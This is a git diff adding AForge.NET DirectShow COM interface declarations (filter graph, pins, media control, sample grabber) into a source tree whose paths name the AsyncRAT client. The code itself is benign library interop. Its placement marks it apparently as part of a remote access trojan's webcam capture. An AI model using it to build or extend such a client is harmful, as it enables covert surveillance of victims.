andrew.kirillov@gmail.com +// + +namespace AForge.Video.DirectShow.Internals +{ + using System; + using System.Runtime.InteropServices; + + /// + /// Enumerates pins on a filter. + /// + /// + [ComImport, + Guid( "56A86892-0AD4-11CE-B03A-0020AF0BA770" ), + InterfaceType( ComInterfaceType.InterfaceIsIUnknown )] + internal interface IEnumPins + { + /// + /// Retrieves a specified number of pins. + /// + /// + /// Number of pins to retrieve. + /// Array of size cPins that is filled with IPin pointers. + /// Receives the number of pins retrieved. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int Next( [In] int cPins, + [Out, MarshalAs( UnmanagedType.LPArray, SizeParamIndex = 0 )] IPin[] pins, + [Out] out int pinsFetched ); + + /// + /// Skips a specified number of pins in the enumeration sequence. + /// + /// + /// Number of pins to skip. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int Skip( [In] int cPins ); + + /// + /// Resets the enumeration sequence to the beginning. + /// + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int Reset( ); + + /// + /// Makes a copy of the enumerator with the same enumeration state. + /// + /// + /// Duplicate of the enumerator. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int Clone( [Out] out IEnumPins enumPins ); + } +} diff --git a/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IFilterGraph.cs b/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IFilterGraph.cs new file mode 100644 index 0000000..7d21c5f --- /dev/null +++ b/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IFilterGraph.cs @@ -0,0 +1,113 @@ +// AForge Direct Show Library +// AForge.NET framework +// +// Copyright © Andrew Kirillov, 2007 +// andrew.kirillov@gmail.com +// + +namespace AForge.Video.DirectShow.Internals +{ + using System; + using System.Runtime.InteropServices; + + /// + /// The interface provides methods for building a filter graph. An application can use it to add filters to + /// the graph, connect or disconnect filters, remove filters, and perform other basic operations. + /// + /// + [ComImport, + Guid( "56A8689F-0AD4-11CE-B03A-0020AF0BA770" ), + InterfaceType( ComInterfaceType.InterfaceIsIUnknown )] + internal interface IFilterGraph + { + /// + /// Adds a filter to the graph and gives it a name. + /// + /// + /// Filter to add to the graph. + /// Name of the filter. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int AddFilter( [In] IBaseFilter filter, [In, MarshalAs( UnmanagedType.LPWStr )] string name ); + + /// + /// Removes a filter from the graph. + /// + /// + /// Filter to be removed from the graph. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int RemoveFilter( [In] IBaseFilter filter ); + + /// + /// Provides an enumerator for all filters in the graph. + /// + /// + /// Filter enumerator. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int EnumFilters( [Out] out IntPtr enumerator ); + + /// + /// Finds a filter that was added with a specified name. + /// + /// + /// Name of filter to search for. + /// Interface of found filter. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int FindFilterByName( [In, MarshalAs( UnmanagedType.LPWStr )] string name, [Out] out IBaseFilter filter ); + + /// + /// Connects two pins directly (without intervening filters). + /// + /// + /// Output pin. + /// Input pin. + /// Media type to use for the connection. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int ConnectDirect( [In] IPin pinOut, [In] IPin pinIn, [In, MarshalAs( UnmanagedType.LPStruct )] AMMediaType mediaType ); + + /// + /// Breaks the existing pin connection and reconnects it to the same pin. + /// + /// + /// Pin to disconnect and reconnect. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int Reconnect( [In] IPin pin ); + + /// + /// Disconnects a specified pin. + /// + /// + /// Pin to disconnect. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int Disconnect( [In] IPin pin ); + + /// + /// Sets the reference clock to the default clock. + /// + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int SetDefaultSyncSource( ); + } +} diff --git a/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IFilterGraph2.cs b/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IFilterGraph2.cs new file mode 100644 index 0000000..b4dbf4c --- /dev/null +++ b/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IFilterGraph2.cs @@ -0,0 +1,257 @@ +// AForge Direct Show Library +// AForge.NET framework +// +// Copyright © Andrew Kirillov, 2008 +// andrew.kirillov@gmail.com +// + +namespace AForge.Video.DirectShow.Internals +{ + using System; + using System.Runtime.InteropServices; + using System.Runtime.InteropServices.ComTypes; + + /// + /// This interface extends the and + /// interfaces, which contain methods for building filter graphs. + /// + /// + [ComImport, + Guid("36B73882-C2C8-11CF-8B46-00805F6CEF60"), + InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] + internal interface IFilterGraph2 + { + // --- IFilterGraph Methods + + /// + /// Adds a filter to the graph and gives it a name. + /// + /// + /// Filter to add to the graph. + /// Name of the filter. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int AddFilter( [In] IBaseFilter filter, [In, MarshalAs( UnmanagedType.LPWStr )] string name ); + + /// + /// Removes a filter from the graph. + /// + /// + /// Filter to be removed from the graph. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int RemoveFilter( [In] IBaseFilter filter ); + + /// + /// Provides an enumerator for all filters in the graph. + /// + /// + /// Filter enumerator. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int EnumFilters( [Out] out IEnumFilters enumerator ); + + /// + /// Finds a filter that was added with a specified name. + /// + /// + /// Name of filter to search for. + /// Interface of found filter. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int FindFilterByName( [In, MarshalAs( UnmanagedType.LPWStr )] string name, [Out] out IBaseFilter filter ); + + /// + /// Connects two pins directly (without intervening filters). + /// + /// + /// Output pin. + /// Input pin. + /// Media type to use for the connection. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int ConnectDirect( [In] IPin pinOut, [In] IPin pinIn, [In, MarshalAs( UnmanagedType.LPStruct )] AMMediaType mediaType ); + + /// + /// Breaks the existing pin connection and reconnects it to the same pin. + /// + /// + /// Pin to disconnect and reconnect. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int Reconnect( [In] IPin pin ); + + /// + /// Disconnects a specified pin. + /// + /// + /// Pin to disconnect. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int Disconnect( [In] IPin pin ); + + /// + /// Sets the reference clock to the default clock. + /// + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int SetDefaultSyncSource( ); + + // --- IGraphBuilder methods + + /// + /// Connects two pins. If they will not connect directly, this method connects them with intervening transforms. + /// + /// + /// Output pin. + /// Input pin. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int Connect( [In] IPin pinOut, [In] IPin pinIn ); + + /// + /// Adds a chain of filters to a specified output pin to render it. + /// + /// + /// Output pin. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int Render( [In] IPin pinOut ); + + /// + /// Builds a filter graph that renders the specified file. + /// + /// + /// Specifies a string that contains file name or device moniker. + /// Reserved. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int RenderFile( + [In, MarshalAs( UnmanagedType.LPWStr )] string file, + [In, MarshalAs( UnmanagedType.LPWStr )] string playList ); + + /// + /// Adds a source filter to the filter graph for a specific file. + /// + /// + /// Specifies the name of the file to load. + /// Specifies a name for the source filter. + /// Variable that receives the interface of the source filter. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int AddSourceFilter( + [In, MarshalAs( UnmanagedType.LPWStr )] string fileName, + [In, MarshalAs( UnmanagedType.LPWStr )] string filterName, + [Out] out IBaseFilter filter ); + + /// + /// Sets the file for logging actions taken when attempting to perform an operation. + /// + /// + /// Handle to the log file. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int SetLogFile( IntPtr hFile ); + + /// + /// Requests that the graph builder return as soon as possible from its current task. + /// + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int Abort( ); + + /// + /// Queries whether the current operation should continue. + /// + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int ShouldOperationContinue( ); + + + // --- IFilterGraph2 methods + + /// + /// + /// + /// + /// Moniker interface. + /// Bind context interface. + /// Name for the filter. + /// Receives source filter's IBaseFilter interface. + /// The caller must release the interface. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int AddSourceFilterForMoniker( + [In] IMoniker moniker, + [In] IBindCtx bindContext, + [In, MarshalAs( UnmanagedType.LPWStr )] string filterName, + [Out] out IBaseFilter filter + ); + + /// + /// Breaks the existing pin connection and reconnects it to the same pin, + /// using a specified media type. + /// + /// + /// Pin to disconnect and reconnect. + /// Media type to reconnect with. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int ReconnectEx( + [In] IPin pin, + [In, MarshalAs( UnmanagedType.LPStruct )] AMMediaType mediaType + ); + + /// + /// Render an output pin, with an option to use existing renderers only. + /// + /// + /// Interface of the output pin. + /// Flag that specifies how to render the pin. + /// Reserved. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int RenderEx( + [In] IPin outputPin, + [In] int flags, + [In] IntPtr context + ); + + } +} diff --git a/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IGraphBuilder.cs b/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IGraphBuilder.cs new file mode 100644 index 0000000..8f3fc4e --- /dev/null +++ b/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IGraphBuilder.cs @@ -0,0 +1,198 @@ +// AForge Direct Show Library +// AForge.NET framework +// +// Copyright © Andrew Kirillov, 2007 +// andrew.kirillov@gmail.com +// + +namespace AForge.Video.DirectShow.Internals +{ + using System; + using System.Runtime.InteropServices; + + /// + /// This interface provides methods that enable an application to build a filter graph. + /// + /// + [ComImport, + Guid( "56A868A9-0AD4-11CE-B03A-0020AF0BA770" ), + InterfaceType( ComInterfaceType.InterfaceIsIUnknown )] + internal interface IGraphBuilder + { + // --- IFilterGraph Methods + + /// + /// Adds a filter to the graph and gives it a name. + /// + /// + /// Filter to add to the graph. + /// Name of the filter. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int AddFilter( [In] IBaseFilter filter, [In, MarshalAs( UnmanagedType.LPWStr )] string name ); + + /// + /// Removes a filter from the graph. + /// + /// + /// Filter to be removed from the graph. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int RemoveFilter( [In] IBaseFilter filter ); + + /// + /// Provides an enumerator for all filters in the graph. + /// + /// + /// Filter enumerator. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int EnumFilters( [Out] out IEnumFilters enumerator ); + + /// + /// Finds a filter that was added with a specified name. + /// + /// + /// Name of filter to search for. + /// Interface of found filter. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int FindFilterByName( [In, MarshalAs( UnmanagedType.LPWStr )] string name, [Out] out IBaseFilter filter ); + + /// + /// Connects two pins directly (without intervening filters). + /// + /// + /// Output pin. + /// Input pin. + /// Media type to use for the connection. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int ConnectDirect( [In] IPin pinOut, [In] IPin pinIn, [In, MarshalAs( UnmanagedType.LPStruct )] AMMediaType mediaType ); + + /// + /// Breaks the existing pin connection and reconnects it to the same pin. + /// + /// + /// Pin to disconnect and reconnect. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int Reconnect( [In] IPin pin ); + + /// + /// Disconnects a specified pin. + /// + /// + /// Pin to disconnect. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int Disconnect( [In] IPin pin ); + + /// + /// Sets the reference clock to the default clock. + /// + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int SetDefaultSyncSource( ); + + // --- IGraphBuilder methods + + /// + /// Connects two pins. If they will not connect directly, this method connects them with intervening transforms. + /// + /// + /// Output pin. + /// Input pin. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int Connect( [In] IPin pinOut, [In] IPin pinIn ); + + /// + /// Adds a chain of filters to a specified output pin to render it. + /// + /// + /// Output pin. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int Render( [In] IPin pinOut ); + + /// + /// Builds a filter graph that renders the specified file. + /// + /// + /// Specifies a string that contains file name or device moniker. + /// Reserved. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int RenderFile( + [In, MarshalAs( UnmanagedType.LPWStr )] string file, + [In, MarshalAs( UnmanagedType.LPWStr )] string playList); + + /// + /// Adds a source filter to the filter graph for a specific file. + /// + /// + /// Specifies the name of the file to load. + /// Specifies a name for the source filter. + /// Variable that receives the interface of the source filter. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int AddSourceFilter( + [In, MarshalAs( UnmanagedType.LPWStr )] string fileName, + [In, MarshalAs( UnmanagedType.LPWStr )] string filterName, + [Out] out IBaseFilter filter ); + + /// + /// Sets the file for logging actions taken when attempting to perform an operation. + /// + /// + /// Handle to the log file. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int SetLogFile( IntPtr hFile ); + + /// + /// Requests that the graph builder return as soon as possible from its current task. + /// + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int Abort( ); + + /// + /// Queries whether the current operation should continue. + /// + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int ShouldOperationContinue( ); + } +} diff --git a/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IMediaControl.cs b/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IMediaControl.cs new file mode 100644 index 0000000..c6ba357 --- /dev/null +++ b/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IMediaControl.cs @@ -0,0 +1,118 @@ +// AForge Direct Show Library +// AForge.NET framework +// +// Copyright © Andrew Kirillov, 2007 +// andrew.kirillov@gmail.com +// + +namespace AForge.Video.DirectShow.Internals +{ + using System; + using System.Runtime.InteropServices; + + /// + /// The interface provides methods for controlling the flow of data through the filter graph. + /// It includes methods for running, pausing, and stopping the graph. + /// + /// + [ComImport, + Guid( "56A868B1-0AD4-11CE-B03A-0020AF0BA770" ), + InterfaceType( ComInterfaceType.InterfaceIsDual )] + internal interface IMediaControl + { + /// + /// Runs all the filters in the filter graph. + /// + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int Run( ); + + /// + /// Pauses all filters in the filter graph. + /// + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int Pause( ); + + /// + /// Stops all the filters in the filter graph. + /// + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int Stop( ); + + /// + /// Retrieves the state of the filter graph. + /// + /// + /// Duration of the time-out, in milliseconds, or INFINITE to specify an infinite time-out. + /// Ìariable that receives a member of the FILTER_STATE enumeration. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int GetState( int timeout, out int filterState ); + + /// + /// Builds a filter graph that renders the specified file. + /// + /// + /// Name of the file to render + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int RenderFile( string fileName ); + + /// + /// Adds a source filter to the filter graph, for a specified file. + /// + /// + /// Name of the file containing the source video. + /// Receives interface of filter information object. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int AddSourceFilter( [In] string fileName, [Out, MarshalAs( UnmanagedType.IDispatch )] out object filterInfo ); + + /// + /// Retrieves a collection of the filters in the filter graph. + /// + /// + /// Receives the IAMCollection interface. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int get_FilterCollection( + [Out, MarshalAs( UnmanagedType.IDispatch )] out object collection ); + + /// + /// Retrieves a collection of all the filters listed in the registry. + /// + /// + /// Receives the IDispatch interface of IAMCollection object. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int get_RegFilterCollection( + [Out, MarshalAs( UnmanagedType.IDispatch )] out object collection ); + + /// + /// Pauses the filter graph, allowing filters to queue data, and then stops the filter graph. + /// + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int StopWhenReady( ); + } +} diff --git a/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IMediaEventEx.cs b/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IMediaEventEx.cs new file mode 100644 index 0000000..d01bee8 --- /dev/null +++ b/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IMediaEventEx.cs @@ -0,0 +1,126 @@ +// AForge.NET framework +// http://www.aforgenet.com/framework/ +// +// Copyright © AForge.NET, 2009-2011 +// contacts@aforgenet.com +// + +namespace AForge.Video.DirectShow.Internals +{ + using System; + using System.Runtime.InteropServices; + + /// + /// The interface inherits contains methods for retrieving event notifications and for overriding the + /// filter graph's default handling of events. + /// + [ComVisible( true ), ComImport, + Guid( "56a868c0-0ad4-11ce-b03a-0020af0ba770" ), + InterfaceType( ComInterfaceType.InterfaceIsDual )] + internal interface IMediaEventEx + { + /// + /// Retrieves a handle to a manual-reset event that remains signaled while the queue contains event notifications. + /// + /// Pointer to a variable that receives the event handle. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int GetEventHandle( out IntPtr hEvent ); + + /// + /// Retrieves the next event notification from the event queue. + /// + /// + /// Variable that receives the event code. + /// Pointer to a variable that receives the first event parameter. + /// Pointer to a variable that receives the second event parameter. + /// Time-out interval, in milliseconds. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int GetEvent( [Out, MarshalAs( UnmanagedType.I4 )] out DsEvCode lEventCode, [Out] out IntPtr lParam1, [Out] out IntPtr lParam2, int msTimeout ); + + /// + /// Waits for the filter graph to render all available data. + /// + /// + /// Time-out interval, in milliseconds. Pass zero to return immediately. + /// Pointer to a variable that receives an event code. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int WaitForCompletion( int msTimeout, [Out] out int pEvCode ); + + /// + /// Cancels the Filter Graph Manager's default handling for a specified event. + /// + /// + /// Event code for which to cancel default handling. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int CancelDefaultHandling( int lEvCode ); + + /// + /// Restores the Filter Graph Manager's default handling for a specified event. + /// + /// Event code for which to restore default handling. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int RestoreDefaultHandling( int lEvCode ); + + /// + /// Frees resources associated with the parameters of an event. + /// + /// Event code. + /// First event parameter. + /// Second event parameter. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int FreeEventParams( [In, MarshalAs( UnmanagedType.I4 )] DsEvCode lEvCode, IntPtr lParam1, IntPtr lParam2 ); + + /// + /// Registers a window to process event notifications. + /// + /// + /// Handle to the window, or to stop receiving event messages. + /// Window message to be passed as the notification. + /// Value to be passed as the lParam parameter for the lMsg message. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int SetNotifyWindow( IntPtr hwnd, int lMsg, IntPtr lInstanceData ); + + /// + /// Enables or disables event notifications. + /// + /// + /// Value indicating whether to enable or disable event notifications. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int SetNotifyFlags( int lNoNotifyFlags ); + + /// + /// Determines whether event notifications are enabled. + /// + /// + /// Variable that receives current notification status. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int GetNotifyFlags( out int lplNoNotifyFlags ); + } +} diff --git a/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IPin.cs b/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IPin.cs new file mode 100644 index 0000000..ceed73f --- /dev/null +++ b/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IPin.cs @@ -0,0 +1,191 @@ +// AForge Direct Show Library +// AForge.NET framework +// +// Copyright © Andrew Kirillov, 2007 +// andrew.kirillov@gmail.com +// + +namespace AForge.Video.DirectShow.Internals +{ + using System; + using System.Runtime.InteropServices; + + /// + /// This interface is exposed by all input and output pins of DirectShow filters. + /// + /// + [ComImport, + Guid( "56A86891-0AD4-11CE-B03A-0020AF0BA770" ), + InterfaceType( ComInterfaceType.InterfaceIsIUnknown )] + internal interface IPin + { + /// + /// Connects the pin to another pin. + /// + /// + /// Other pin to connect to. + /// Type to use for the connections (optional). + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int Connect( [In] IPin receivePin, [In, MarshalAs( UnmanagedType.LPStruct )] AMMediaType mediaType ); + + /// + /// Makes a connection to this pin and is called by a connecting pin. + /// + /// + /// Connecting pin. + /// Media type of the samples to be streamed. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int ReceiveConnection( [In] IPin receivePin, [In, MarshalAs( UnmanagedType.LPStruct )] AMMediaType mediaType ); + + /// + /// Breaks the current pin connection. + /// + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int Disconnect( ); + + /// + /// Returns a pointer to the connecting pin. + /// + /// + /// Receives IPin interface of connected pin (if any). + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int ConnectedTo( [Out] out IPin pin ); + + /// + /// Returns the media type of this pin's connection. + /// + /// + /// Pointer to an structure. If the pin is connected, + /// the media type is returned. Otherwise, the structure is initialized to a default state in which + /// all elements are 0, with the exception of lSampleSize, which is set to 1, and + /// FixedSizeSamples, which is set to true. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int ConnectionMediaType( [Out, MarshalAs( UnmanagedType.LPStruct )] AMMediaType mediaType ); + + /// + /// Retrieves information about this pin (for example, the name, owning filter, and direction). + /// + /// + /// structure that receives the pin information. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int QueryPinInfo( [Out] out PinInfo pinInfo ); + + /// + /// Retrieves the direction for this pin. + /// + /// + /// Receives direction of the pin. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int QueryDirection( out PinDirection pinDirection ); + + /// + /// Retrieves an identifier for the pin. + /// + /// + /// Pin identifier. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int QueryId( [Out, MarshalAs( UnmanagedType.LPWStr )] out string id ); + + /// + /// Queries whether a given media type is acceptable by the pin. + /// + /// + /// structure that specifies the media type. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int QueryAccept( [In, MarshalAs( UnmanagedType.LPStruct )] AMMediaType mediaType ); + + /// + /// Provides an enumerator for this pin's preferred media types. + /// + /// + /// Address of a variable that receives a pointer to the IEnumMediaTypes interface. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int EnumMediaTypes( IntPtr enumerator ); + + /// + /// Provides an array of the pins to which this pin internally connects. + /// + /// + /// Address of an array of IPin pointers. + /// On input, specifies the size of the array. When the method returns, + /// the value is set to the number of pointers returned in the array. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int QueryInternalConnections( IntPtr apPin, [In, Out] ref int nPin ); + + /// + /// Notifies the pin that no additional data is expected. + /// + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int EndOfStream( ); + + /// + /// Begins a flush operation. + /// + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int BeginFlush( ); + + /// + /// Ends a flush operation. + /// + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int EndFlush( ); + + /// + /// Specifies that samples following this call are grouped as a segment with a given start time, stop time, and rate. + /// + /// + /// Start time of the segment, relative to the original source, in 100-nanosecond units. + /// End time of the segment, relative to the original source, in 100-nanosecond units. + /// Rate at which this segment should be processed, as a percentage of the original rate. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int NewSegment( + long start, + long stop, + double rate ); + } +} diff --git a/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IPropertyBag.cs b/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IPropertyBag.cs new file mode 100644 index 0000000..faea69d --- /dev/null +++ b/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IPropertyBag.cs @@ -0,0 +1,53 @@ +// AForge Direct Show Library +// AForge.NET framework +// +// Copyright © Andrew Kirillov, 2007 +// andrew.kirillov@gmail.com +// + +namespace AForge.Video.DirectShow.Internals +{ + using System; + using System.Runtime.InteropServices; + + /// + /// The IPropertyBag interface provides an object with a property bag in + /// which the object can persistently save its properties. + /// + /// + [ComImport, + Guid( "55272A00-42CB-11CE-8135-00AA004BB851" ), + InterfaceType( ComInterfaceType.InterfaceIsIUnknown )] + internal interface IPropertyBag + { + /// + /// Read a property from property bag. + /// + /// + /// Property name to read. + /// Property value. + /// Caller's error log. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int Read( + [In, MarshalAs( UnmanagedType.LPWStr )] string propertyName, + [In, Out, MarshalAs( UnmanagedType.Struct )] ref object pVar, + [In] IntPtr pErrorLog ); + + /// + /// Write property to property bag. + /// + /// + /// Property name to read. + /// Property value. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int Write( + [In, MarshalAs( UnmanagedType.LPWStr )] string propertyName, + [In, MarshalAs( UnmanagedType.Struct )] ref object pVar ); + } +} diff --git a/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IReferenceClock.cs b/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IReferenceClock.cs new file mode 100644 index 0000000..cb0328f --- /dev/null +++ b/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IReferenceClock.cs @@ -0,0 +1,87 @@ +// AForge Direct Show Library +// AForge.NET framework +// http://www.aforgenet.com/framework/ +// +// Copyright © Andrew Kirillov, 2010 +// andrew.kirillov@gmail.com +// +// Written by Jeremy Noring +// kidjan@gmail.com +// + +namespace AForge.Video.DirectShow.Internals +{ + using System; + using System.Runtime.InteropServices; + + /// + /// The IReferenceClock interface provides the reference time for the filter graph. + /// + /// Filters that can act as a reference clock can expose this interface. It is also exposed by the System Reference Clock. + /// The filter graph manager uses this interface to synchronize the filter graph. Applications can use this interface to + /// retrieve the current reference time, or to request notification of an elapsed time. + /// + [ComImport, System.Security.SuppressUnmanagedCodeSecurity, + Guid( "56a86897-0ad4-11ce-b03a-0020af0ba770" ), + InterfaceType( ComInterfaceType.InterfaceIsIUnknown )] + internal interface IReferenceClock + { + /// + /// The GetTime method retrieves the current reference time. + /// + /// + /// Pointer to a variable that receives the current time, in 100-nanosecond units. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int GetTime( [Out] out long pTime ); + + /// + /// The AdviseTime method creates a one-shot advise request. + /// + /// + /// Base reference time, in 100-nanosecond units. See Remarks. + /// Stream offset time, in 100-nanosecond units. See Remarks. + /// Handle to an event, created by the caller. + /// Pointer to a variable that receives an identifier for the advise request. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int AdviseTime( + [In] long baseTime, + [In] long streamTime, + [In] IntPtr hEvent, + [Out] out int pdwAdviseCookie ); + + /// + /// The AdvisePeriodic method creates a periodic advise request. + /// + /// + /// Time of the first notification, in 100-nanosecond units. Must be greater than zero and less than MAX_TIME. + /// Time between notifications, in 100-nanosecond units. Must be greater than zero. + /// Handle to a semaphore, created by the caller. + /// Pointer to a variable that receives an identifier for the advise request. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int AdvisePeriodic( + [In] long startTime, + [In] long periodTime, + [In] IntPtr hSemaphore, + [Out] out int pdwAdviseCookie ); + + /// + /// The Unadvise method removes a pending advise request. + /// + /// + /// Identifier of the request to remove. Use the value returned by IReferenceClock::AdviseTime or IReferenceClock::AdvisePeriodic in the pdwAdviseToken parameter. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int Unadvise( [In] int dwAdviseCookie ); + } +} diff --git a/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/ISampleGrabber.cs b/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/ISampleGrabber.cs new file mode 100644 index 0000000..07854ac --- /dev/null +++ b/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/ISampleGrabber.cs @@ -0,0 +1,103 @@ +// AForge Direct Show Library +// AForge.NET framework +// +// Copyright © Andrew Kirillov, 2007 +// andrew.kirillov@gmail.com +// + +namespace AForge.Video.DirectShow.Internals +{ + using System; + using System.Runtime.InteropServices; + + /// + /// The interface is exposed by the Sample Grabber Filter. It enables an application to retrieve + /// individual media samples as they move through the filter graph. + /// + /// + [ComImport, + Guid("6B652FFF-11FE-4FCE-92AD-0266B5D7C78F"), + InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] + internal interface ISampleGrabber + { + /// + /// Specifies whether the filter should stop the graph after receiving one sample. + /// + /// + /// Boolean value specifying whether the filter should stop the graph after receiving one sample. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int SetOneShot( [In, MarshalAs( UnmanagedType.Bool )] bool oneShot ); + + /// + /// Specifies the media type for the connection on the Sample Grabber's input pin. + /// + /// + /// Specifies the required media type. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int SetMediaType( [In, MarshalAs( UnmanagedType.LPStruct )] AMMediaType mediaType ); + + /// + /// Retrieves the media type for the connection on the Sample Grabber's input pin. + /// + /// + /// structure, which receives media type. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int GetConnectedMediaType( [Out, MarshalAs( UnmanagedType.LPStruct )] AMMediaType mediaType ); + + /// + /// Specifies whether to copy sample data into a buffer as it goes through the filter. + /// + /// + /// Boolean value specifying whether to buffer sample data. + /// If true, the filter copies sample data into an internal buffer. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int SetBufferSamples( [In, MarshalAs( UnmanagedType.Bool )] bool bufferThem ); + + /// + /// Retrieves a copy of the sample that the filter received most recently. + /// + /// + /// Pointer to the size of the buffer. If pBuffer is NULL, this parameter receives the required size. + /// Pointer to a buffer to receive a copy of the sample, or NULL. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int GetCurrentBuffer( ref int bufferSize, IntPtr buffer ); + + /// + /// Not currently implemented. + /// + /// + /// + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int GetCurrentSample( IntPtr sample ); + + /// + /// Specifies a callback method to call on incoming samples. + /// + /// + /// interface containing the callback method, or NULL to cancel the callback. + /// Index specifying the callback method. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int SetCallback( ISampleGrabberCB callback, int whichMethodToCallback ); + } +} 